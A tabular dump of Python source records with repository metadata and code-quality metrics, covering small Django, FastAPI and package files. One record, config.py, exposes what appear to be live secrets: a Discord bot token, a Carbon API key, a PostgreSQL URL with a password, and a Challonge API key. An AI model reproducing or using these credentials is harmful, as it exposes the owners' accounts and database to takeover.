hexsha
string | size
int64 | ext
string | lang
string | max_stars_repo_path
string | max_stars_repo_name
string | max_stars_repo_head_hexsha
string | max_stars_repo_licenses
list | max_stars_count
int64 | max_stars_repo_stars_event_min_datetime
string | max_stars_repo_stars_event_max_datetime
string | max_issues_repo_path
string | max_issues_repo_name
string | max_issues_repo_head_hexsha
string | max_issues_repo_licenses
list | max_issues_count
int64 | max_issues_repo_issues_event_min_datetime
string | max_issues_repo_issues_event_max_datetime
string | max_forks_repo_path
string | max_forks_repo_name
string | max_forks_repo_head_hexsha
string | max_forks_repo_licenses
list | max_forks_count
int64 | max_forks_repo_forks_event_min_datetime
string | max_forks_repo_forks_event_max_datetime
string | content
string | avg_line_length
float64 | max_line_length
int64 | alphanum_fraction
float64 | qsc_code_num_words_quality_signal
int64 | qsc_code_num_chars_quality_signal
float64 | qsc_code_mean_word_length_quality_signal
float64 | qsc_code_frac_words_unique_quality_signal
float64 | qsc_code_frac_chars_top_2grams_quality_signal
float64 | qsc_code_frac_chars_top_3grams_quality_signal
float64 | qsc_code_frac_chars_top_4grams_quality_signal
float64 | qsc_code_frac_chars_dupe_5grams_quality_signal
float64 | qsc_code_frac_chars_dupe_6grams_quality_signal
float64 | qsc_code_frac_chars_dupe_7grams_quality_signal
float64 | qsc_code_frac_chars_dupe_8grams_quality_signal
float64 | qsc_code_frac_chars_dupe_9grams_quality_signal
float64 | qsc_code_frac_chars_dupe_10grams_quality_signal
float64 | qsc_code_frac_chars_replacement_symbols_quality_signal
float64 | qsc_code_frac_chars_digital_quality_signal
float64 | qsc_code_frac_chars_whitespace_quality_signal
float64 | qsc_code_size_file_byte_quality_signal
float64 | qsc_code_num_lines_quality_signal
float64 | qsc_code_num_chars_line_max_quality_signal
float64 | qsc_code_num_chars_line_mean_quality_signal
float64 | qsc_code_frac_chars_alphabet_quality_signal
float64 | qsc_code_frac_chars_comments_quality_signal
float64 | qsc_code_cate_xml_start_quality_signal
float64 | qsc_code_frac_lines_dupe_lines_quality_signal
float64 | qsc_code_cate_autogen_quality_signal
float64 | qsc_code_frac_lines_long_string_quality_signal
float64 | qsc_code_frac_chars_string_length_quality_signal
float64 | qsc_code_frac_chars_long_word_length_quality_signal
float64 | qsc_code_frac_lines_string_concat_quality_signal
float64 | qsc_code_cate_encoded_data_quality_signal
float64 | qsc_code_frac_chars_hex_words_quality_signal
float64 | qsc_code_frac_lines_prompt_comments_quality_signal
float64 | qsc_code_frac_lines_assert_quality_signal
float64 | qsc_codepython_cate_ast_quality_signal
float64 | qsc_codepython_frac_lines_func_ratio_quality_signal
float64 | qsc_codepython_cate_var_zero_quality_signal
bool | qsc_codepython_frac_lines_pass_quality_signal
float64 | qsc_codepython_frac_lines_import_quality_signal
float64 | qsc_codepython_frac_lines_simplefunc_quality_signal
float64 | qsc_codepython_score_lines_no_logic_quality_signal
float64 | qsc_codepython_frac_lines_print_quality_signal
float64 | qsc_code_num_words
int64 | qsc_code_num_chars
int64 | qsc_code_mean_word_length
int64 | qsc_code_frac_words_unique
null | qsc_code_frac_chars_top_2grams
int64 | qsc_code_frac_chars_top_3grams
int64 | qsc_code_frac_chars_top_4grams
int64 | qsc_code_frac_chars_dupe_5grams
int64 | qsc_code_frac_chars_dupe_6grams
int64 | qsc_code_frac_chars_dupe_7grams
int64 | qsc_code_frac_chars_dupe_8grams
int64 | qsc_code_frac_chars_dupe_9grams
int64 | qsc_code_frac_chars_dupe_10grams
int64 | qsc_code_frac_chars_replacement_symbols
int64 | qsc_code_frac_chars_digital
int64 | qsc_code_frac_chars_whitespace
int64 | qsc_code_size_file_byte
int64 | qsc_code_num_lines
int64 | qsc_code_num_chars_line_max
int64 | qsc_code_num_chars_line_mean
int64 | qsc_code_frac_chars_alphabet
int64 | qsc_code_frac_chars_comments
int64 | qsc_code_cate_xml_start
int64 | qsc_code_frac_lines_dupe_lines
int64 | qsc_code_cate_autogen
int64 | qsc_code_frac_lines_long_string
int64 | qsc_code_frac_chars_string_length
int64 | qsc_code_frac_chars_long_word_length
int64 | qsc_code_frac_lines_string_concat
null | qsc_code_cate_encoded_data
int64 | qsc_code_frac_chars_hex_words
int64 | qsc_code_frac_lines_prompt_comments
int64 | qsc_code_frac_lines_assert
int64 | qsc_codepython_cate_ast
int64 | qsc_codepython_frac_lines_func_ratio
int64 | qsc_codepython_cate_var_zero
int64 | qsc_codepython_frac_lines_pass
int64 | qsc_codepython_frac_lines_import
int64 | qsc_codepython_frac_lines_simplefunc
int64 | qsc_codepython_score_lines_no_logic
int64 | qsc_codepython_frac_lines_print
int64 | effective
string | hits
int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
8563b1974fde02c7edc8ea70b798fcb7b626a2b0
| 113
|
py
|
Python
|
polarization/keychain/admin.py
|
teyit/semantik
|
b3e5013c40373f5817b559c7dea28bf443e429d3
|
[
"MIT"
] | null | null | null |
polarization/keychain/admin.py
|
teyit/semantik
|
b3e5013c40373f5817b559c7dea28bf443e429d3
|
[
"MIT"
] | null | null | null |
polarization/keychain/admin.py
|
teyit/semantik
|
b3e5013c40373f5817b559c7dea28bf443e429d3
|
[
"MIT"
] | null | null | null |
from django.contrib import admin
from .models import Key
admin.site.register(Key)
# Register your models here.
| 16.142857
| 32
| 0.787611
| 17
| 113
| 5.235294
| 0.647059
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.141593
| 113
| 6
| 33
| 18.833333
| 0.917526
| 0.230089
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.666667
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
857723e1e8a12fad20f5340b01ca83ea4a5953a0
| 291
|
py
|
Python
|
api/thing.py
|
muslax/fastapi-hero
|
5840c6bc860da0314014a2fc5c7c411e84dc6341
|
[
"MIT"
] | null | null | null |
api/thing.py
|
muslax/fastapi-hero
|
5840c6bc860da0314014a2fc5c7c411e84dc6341
|
[
"MIT"
] | 1
|
2021-03-31T19:53:47.000Z
|
2021-03-31T19:53:47.000Z
|
api/thing.py
|
muslax/fastapi-hero
|
5840c6bc860da0314014a2fc5c7c411e84dc6341
|
[
"MIT"
] | 1
|
2020-07-05T02:41:51.000Z
|
2020-07-05T02:41:51.000Z
|
from fastapi import APIRouter, HTTPException
router = APIRouter()
@router.get("/1")
def hello1():
return {"message": "Hello Thing 1!"}
@router.get("/2")
def hello2():
return {"message": "Hello Thing 2!"}
@router.get("/3")
def hello3():
return {"message": "Hello Thing 3!"}
| 16.166667
| 44
| 0.628866
| 37
| 291
| 4.945946
| 0.486486
| 0.147541
| 0.295082
| 0.377049
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.037344
| 0.171821
| 291
| 17
| 45
| 17.117647
| 0.721992
| 0
| 0
| 0
| 0
| 0
| 0.237113
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.272727
| false
| 0
| 0.090909
| 0.272727
| 0.636364
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 5
|
85a2421cf188a0a7251575fb7b49193bedc7f76e
| 134
|
py
|
Python
|
questions_three/graphql/__init__.py
|
filfreire/questions-three
|
1d1d621d5647407bf2d1b271e0b9c7c9f1afc5c8
|
[
"MIT"
] | 5
|
2019-07-22T06:04:07.000Z
|
2021-07-23T06:01:51.000Z
|
questions_three/graphql/__init__.py
|
filfreire/questions-three
|
1d1d621d5647407bf2d1b271e0b9c7c9f1afc5c8
|
[
"MIT"
] | 15
|
2020-07-28T17:33:40.000Z
|
2021-08-23T17:30:05.000Z
|
questions_three/graphql/__init__.py
|
filfreire/questions-three
|
1d1d621d5647407bf2d1b271e0b9c7c9f1afc5c8
|
[
"MIT"
] | 4
|
2019-08-25T22:41:59.000Z
|
2020-10-21T14:28:15.000Z
|
from .graphql_client import GraphqlClient
from .graphql_response import GraphqlResponse
from .operation_failed import OperationFailed
| 33.5
| 45
| 0.88806
| 15
| 134
| 7.733333
| 0.666667
| 0.189655
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.089552
| 134
| 3
| 46
| 44.666667
| 0.95082
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
a42bfdbff03957bcf49a704a7d46ec38f98b0e3b
| 21
|
py
|
Python
|
ai_2.py
|
pratikshitvas/ai_part_infi
|
822fa4b9769400bf05dde5ee776456d0071110ea
|
[
"MIT"
] | null | null | null |
ai_2.py
|
pratikshitvas/ai_part_infi
|
822fa4b9769400bf05dde5ee776456d0071110ea
|
[
"MIT"
] | null | null | null |
ai_2.py
|
pratikshitvas/ai_part_infi
|
822fa4b9769400bf05dde5ee776456d0071110ea
|
[
"MIT"
] | null | null | null |
#paste the code here
| 10.5
| 20
| 0.761905
| 4
| 21
| 4
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.190476
| 21
| 1
| 21
| 21
| 0.941176
| 0.904762
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
a441c8ac0bf4a478451dfb9c6de9bdf3d0cedec2
| 106
|
py
|
Python
|
vnpy/app/spread_trading/__init__.py
|
Billy-Meng/vnpy_origin
|
b0b0868027d70b1ba5dac65aa1a6d5e4246a0900
|
[
"MIT"
] | 1
|
2020-06-18T16:38:29.000Z
|
2020-06-18T16:38:29.000Z
|
vnpy/app/spread_trading/__init__.py
|
Billy-Meng/vnpy_origin
|
b0b0868027d70b1ba5dac65aa1a6d5e4246a0900
|
[
"MIT"
] | 2
|
2020-06-22T12:12:43.000Z
|
2020-06-23T01:26:10.000Z
|
vnpy/app/spread_trading/__init__.py
|
Billy-Meng/vnpy_origin
|
b0b0868027d70b1ba5dac65aa1a6d5e4246a0900
|
[
"MIT"
] | null | null | null |
# -*- coding:utf-8 -*-
import sys
import vnpy_spreadtrading
sys.modules[__name__] = vnpy_spreadtrading
| 13.25
| 42
| 0.745283
| 13
| 106
| 5.615385
| 0.692308
| 0.465753
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.01087
| 0.132075
| 106
| 7
| 43
| 15.142857
| 0.782609
| 0.188679
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.666667
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
a44f32179afc356d7b1d9e329ede47ea6b17b8b0
| 30
|
py
|
Python
|
blockchain/v2/__init__.py
|
intel9911/api-v1-client-python
|
dc39e07df9f73681466455aeb9c2a9e24ccf946b
|
[
"MIT"
] | 1,001
|
2015-01-05T21:51:36.000Z
|
2022-03-26T18:57:18.000Z
|
blockchain/v2/__init__.py
|
lehoang123/api-v1-client-python
|
52ea562f824f04303e75239364e06722bec8620f
|
[
"MIT"
] | 131
|
2015-01-04T14:32:53.000Z
|
2022-03-11T14:13:54.000Z
|
blockchain/v2/__init__.py
|
lehoang123/api-v1-client-python
|
52ea562f824f04303e75239364e06722bec8620f
|
[
"MIT"
] | 481
|
2015-01-04T14:31:34.000Z
|
2022-03-17T14:32:01.000Z
|
from . import (
receive
)
| 7.5
| 15
| 0.566667
| 3
| 30
| 5.666667
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.333333
| 30
| 3
| 16
| 10
| 0.85
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.333333
| 0
| 0.333333
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
a46a0293d9ff3a4ccf142b01e8121a93e4f267fa
| 120
|
py
|
Python
|
cobra_utils/topology/__init__.py
|
jdtibochab/cobra_utils
|
83694cb9507bbb0ae08378aededd224a5f81e0a1
|
[
"MIT"
] | null | null | null |
cobra_utils/topology/__init__.py
|
jdtibochab/cobra_utils
|
83694cb9507bbb0ae08378aededd224a5f81e0a1
|
[
"MIT"
] | null | null | null |
cobra_utils/topology/__init__.py
|
jdtibochab/cobra_utils
|
83694cb9507bbb0ae08378aededd224a5f81e0a1
|
[
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
from __future__ import absolute_import
from cobra_utils.topology.reporter_metabolites import *
| 24
| 55
| 0.783333
| 15
| 120
| 5.8
| 0.8
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.009434
| 0.116667
| 120
| 5
| 55
| 24
| 0.811321
| 0.175
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
a4a0421f89eade8a5e924b9f54d979d76816f4de
| 536
|
py
|
Python
|
pyramda/logic/all_pass_test.py
|
sergiors/pyramda
|
5bf200888809b1bc946e813e29460f204bccd13e
|
[
"MIT"
] | 124
|
2015-07-30T21:34:25.000Z
|
2022-02-19T08:45:50.000Z
|
pyramda/logic/all_pass_test.py
|
sergiors/pyramda
|
5bf200888809b1bc946e813e29460f204bccd13e
|
[
"MIT"
] | 37
|
2015-08-31T23:02:20.000Z
|
2022-02-04T04:45:28.000Z
|
ramda/all_pass_test.py
|
slavaGanzin/pyramda
|
4fa7fe28d5eaa798b702d28bdd3948515cb88f48
|
[
"MIT"
] | 20
|
2015-08-04T18:59:09.000Z
|
2021-12-13T08:08:59.000Z
|
from .all_pass import all_pass
def positive(x):
return x > 0
def less_than_ten(x):
return x < 10
def all_pass_nocurry_test():
assert all_pass([], "foo")
assert all_pass([positive, less_than_ten], 5)
assert not all_pass([positive, less_than_ten], 10)
assert not all_pass([positive, less_than_ten], 0)
def all_pass_curry_test():
between_zero_and_ten = all_pass([positive, less_than_ten])
assert between_zero_and_ten(5)
assert not between_zero_and_ten(10)
assert not between_zero_and_ten(0)
| 22.333333
| 62
| 0.722015
| 90
| 536
| 3.911111
| 0.255556
| 0.178977
| 0.15625
| 0.215909
| 0.494318
| 0.494318
| 0.198864
| 0.198864
| 0
| 0
| 0
| 0.025057
| 0.18097
| 536
| 23
| 63
| 23.304348
| 0.776765
| 0
| 0
| 0
| 0
| 0
| 0.005597
| 0
| 0
| 0
| 0
| 0
| 0.466667
| 1
| 0.266667
| false
| 0.533333
| 0.066667
| 0.133333
| 0.466667
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
|
0
| 5
|
74cdd6def3b97113258a1ea3410be014247658f2
| 155
|
py
|
Python
|
bugtests/test113.py
|
doom38/jython_v2.2.1
|
0803a0c953c294e6d14f9fc7d08edf6a3e630a15
|
[
"CNRI-Jython"
] | null | null | null |
bugtests/test113.py
|
doom38/jython_v2.2.1
|
0803a0c953c294e6d14f9fc7d08edf6a3e630a15
|
[
"CNRI-Jython"
] | null | null | null |
bugtests/test113.py
|
doom38/jython_v2.2.1
|
0803a0c953c294e6d14f9fc7d08edf6a3e630a15
|
[
"CNRI-Jython"
] | null | null | null |
"""
Check slice [-1:1:-1].
"""
import support
if 'abcde'[-1:1:-1] != 'edc':
raise support.TestError("slice [-1:1:-1] failed %s" % 'abcde'[-1:1:-1])
| 15.5
| 75
| 0.535484
| 26
| 155
| 3.192308
| 0.461538
| 0.192771
| 0.144578
| 0.192771
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.092308
| 0.16129
| 155
| 9
| 76
| 17.222222
| 0.546154
| 0.141935
| 0
| 0
| 0
| 0
| 0.306452
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.333333
| 0
| 0.333333
| 0
| 1
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
2d014794c836f04398d9fa72ff0a6a50bfa60c1d
| 851
|
py
|
Python
|
config.py
|
Flintstone2020/Splatoon2bot
|
8755d8e5fe4cc486cf9a12eb643bcd479b41ab49
|
[
"MIT"
] | null | null | null |
config.py
|
Flintstone2020/Splatoon2bot
|
8755d8e5fe4cc486cf9a12eb643bcd479b41ab49
|
[
"MIT"
] | null | null | null |
config.py
|
Flintstone2020/Splatoon2bot
|
8755d8e5fe4cc486cf9a12eb643bcd479b41ab49
|
[
"MIT"
] | null | null | null |
client_id = 'Ch8pNOBOAYzASwSmKClKZJKts8VnKDsj' # your bot's client ID
token = 'Mzc3MDU4MTc2MzUwMDI3Nzc3.DQ8csA.YRTHtBKENVulI8bk17-6gzGnScU' # your bot's token
carbon_key = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySUQiOiIyMjA5NTkxNzg3NzkyNjI5ODYiLCJyYW5kIjozOTksImlhdCI6MTUxMjkzNTQ5NH0.1Al7nXx5HmvA7Lyc_ddc6V_czVxvD5K7dxPdrW0D1yE' # your bot's key on carbon's site
bots_key = 'https://discordapp.com/oauth2/authorize?client_id=377058176350027777&scope=bot&permissions=268954750&response_type=code&redirect_uri=discord.gg' # your key on bots.discord.pw
postgresql = 'postgres://sflxeqaxuvrkro:d9df02d2b497e0f23c6663de06cbf5a17a7f1a867e7a9a6208484d292cb57f61@ec2-54-195-248-0.eu-west-1.compute.amazonaws.com:5432/d4a6dsf7p8cp8e' # your postgresql info from above
challonge_api_key = 'bU7HgqNbDQhVysppOgPp8zoRqGE82cWf2iM0Q2Ep' # for tournament cog
| 121.571429
| 209
| 0.858989
| 88
| 851
| 8.193182
| 0.715909
| 0.033287
| 0.033287
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.16125
| 0.059929
| 851
| 6
| 210
| 141.833333
| 0.74
| 0.173913
| 0
| 0
| 0
| 0.333333
| 0.852011
| 0.646552
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
2d1850105c82e489b127a857681022534c3453bb
| 40
|
py
|
Python
|
classes/exceptions/__init__.py
|
JoachimLippold/BayerShopper.SendIssues
|
4bfcb34909a6a34ea2b103ffcacc76371a91b01f
|
[
"MIT"
] | null | null | null |
classes/exceptions/__init__.py
|
JoachimLippold/BayerShopper.SendIssues
|
4bfcb34909a6a34ea2b103ffcacc76371a91b01f
|
[
"MIT"
] | 1
|
2021-02-10T02:18:39.000Z
|
2021-02-10T02:18:39.000Z
|
classes/exceptions/__init__.py
|
JoachimLippold/BayerShopper.SendIssues
|
4bfcb34909a6a34ea2b103ffcacc76371a91b01f
|
[
"MIT"
] | null | null | null |
__all__ = ["unexpected_type_exception"]
| 20
| 39
| 0.8
| 4
| 40
| 6.5
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.075
| 40
| 1
| 40
| 40
| 0.702703
| 0
| 0
| 0
| 0
| 0
| 0.625
| 0.625
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
2d422c5f54e858d5a4b25c7a43bf685510babaf6
| 79
|
py
|
Python
|
pipeline/scrapers/stf/__init__.py
|
juridics/brazilian-legal-text-dataset
|
298e031972331725a052fb40931d7feb3e49c429
|
[
"Unlicense"
] | 1
|
2022-02-24T12:35:47.000Z
|
2022-02-24T12:35:47.000Z
|
pipeline/scrapers/stf/__init__.py
|
juridics/brazilian-legal-text-dataset
|
298e031972331725a052fb40931d7feb3e49c429
|
[
"Unlicense"
] | null | null | null |
pipeline/scrapers/stf/__init__.py
|
juridics/brazilian-legal-text-dataset
|
298e031972331725a052fb40931d7feb3e49c429
|
[
"Unlicense"
] | null | null | null |
from .iudicium import StfIudiciumScraper
from .sumulas import StfSumulaScraper
| 26.333333
| 40
| 0.873418
| 8
| 79
| 8.625
| 0.75
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.101266
| 79
| 2
| 41
| 39.5
| 0.971831
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
74439beb5cac46dc98fbb45adc776725fdf9c2ac
| 98
|
py
|
Python
|
django_coinpayments/exceptions.py
|
SaberDoTcodeR/django-coinpayments
|
a40e0c6b7e5821756ce2b5b0838d1f0c42b2545c
|
[
"MIT"
] | 23
|
2018-04-06T03:56:01.000Z
|
2022-01-14T21:00:10.000Z
|
django_coinpayments/exceptions.py
|
SaberDoTcodeR/django-coinpayments
|
a40e0c6b7e5821756ce2b5b0838d1f0c42b2545c
|
[
"MIT"
] | 7
|
2018-04-25T17:03:21.000Z
|
2022-01-14T08:01:51.000Z
|
django_coinpayments/exceptions.py
|
SaberDoTcodeR/django-coinpayments
|
a40e0c6b7e5821756ce2b5b0838d1f0c42b2545c
|
[
"MIT"
] | 15
|
2018-04-16T14:00:52.000Z
|
2022-01-12T19:27:24.000Z
|
class CoinPaymentsProviderError(Exception):
pass
class TxInfoException(Exception):
pass
| 14
| 43
| 0.77551
| 8
| 98
| 9.5
| 0.625
| 0.342105
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.163265
| 98
| 6
| 44
| 16.333333
| 0.926829
| 0
| 0
| 0.5
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.5
| 0
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
|
0
| 5
|
749f003a7c8ce9741afe6bd71d72e0470ac3ba86
| 202
|
py
|
Python
|
mpldock/__init__.py
|
peper0/mpldock
|
47bb3f112481e0f55b8c4460bc545e0eeac08461
|
[
"MIT"
] | 15
|
2019-11-11T05:00:48.000Z
|
2022-02-17T10:06:38.000Z
|
mpldock/__init__.py
|
peper0/mpldock
|
47bb3f112481e0f55b8c4460bc545e0eeac08461
|
[
"MIT"
] | 2
|
2019-11-18T18:37:15.000Z
|
2020-01-29T19:05:29.000Z
|
mpldock/__init__.py
|
peper0/mpldock
|
47bb3f112481e0f55b8c4460bc545e0eeac08461
|
[
"MIT"
] | null | null | null |
from .windows import add_dock, window, run, persist_layout
from mpldock.common import named
from . import tweaks, backend
__all__ = ['window', 'add_dock', 'tweaks', 'backend', 'run', 'persist_layout']
| 33.666667
| 78
| 0.742574
| 27
| 202
| 5.259259
| 0.555556
| 0.098592
| 0.225352
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.123762
| 202
| 5
| 79
| 40.4
| 0.80226
| 0
| 0
| 0
| 0
| 0
| 0.217822
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.75
| 0
| 0.75
| 0
| 1
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
77fb63df25ab21441fff7a94e6c5a84fda84260d
| 108
|
py
|
Python
|
djangocms_references/test_utils/nested_references_app/__init__.py
|
Aiky30/djangocms-references
|
cc6a99600eb5b143bf50ae060eb71e953605d6ff
|
[
"BSD-3-Clause"
] | 1
|
2021-12-07T16:18:37.000Z
|
2021-12-07T16:18:37.000Z
|
djangocms_references/test_utils/nested_references_app/__init__.py
|
Aiky30/djangocms-references
|
cc6a99600eb5b143bf50ae060eb71e953605d6ff
|
[
"BSD-3-Clause"
] | 1
|
2020-04-29T17:47:39.000Z
|
2020-04-29T17:47:39.000Z
|
djangocms_references/test_utils/nested_references_app/__init__.py
|
Aiky30/djangocms-references
|
cc6a99600eb5b143bf50ae060eb71e953605d6ff
|
[
"BSD-3-Clause"
] | 6
|
2019-01-16T09:32:06.000Z
|
2022-03-28T19:36:53.000Z
|
default_app_config = "djangocms_references.test_utils.nested_references_app.apps.NestedReferencesAppConfig"
| 54
| 107
| 0.907407
| 12
| 108
| 7.666667
| 0.833333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.027778
| 108
| 1
| 108
| 108
| 0.87619
| 0
| 0
| 0
| 0
| 0
| 0.777778
| 0.777778
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
7aded93c3d106ee8b0a46aac4f1a8d03f8bf0d37
| 173
|
py
|
Python
|
mmdet3d/ops/interpolate/__init__.py
|
maskjp/mmdetection3d
|
98f332372b1a4c82bc2d57588a5d764f4176c869
|
[
"Apache-2.0"
] | 1
|
2022-03-04T19:29:42.000Z
|
2022-03-04T19:29:42.000Z
|
mmdet3d/ops/interpolate/__init__.py
|
maskjp/mmdetection3d
|
98f332372b1a4c82bc2d57588a5d764f4176c869
|
[
"Apache-2.0"
] | null | null | null |
mmdet3d/ops/interpolate/__init__.py
|
maskjp/mmdetection3d
|
98f332372b1a4c82bc2d57588a5d764f4176c869
|
[
"Apache-2.0"
] | null | null | null |
# Copyright (c) OpenMMLab. All rights reserved.
from .three_interpolate import three_interpolate
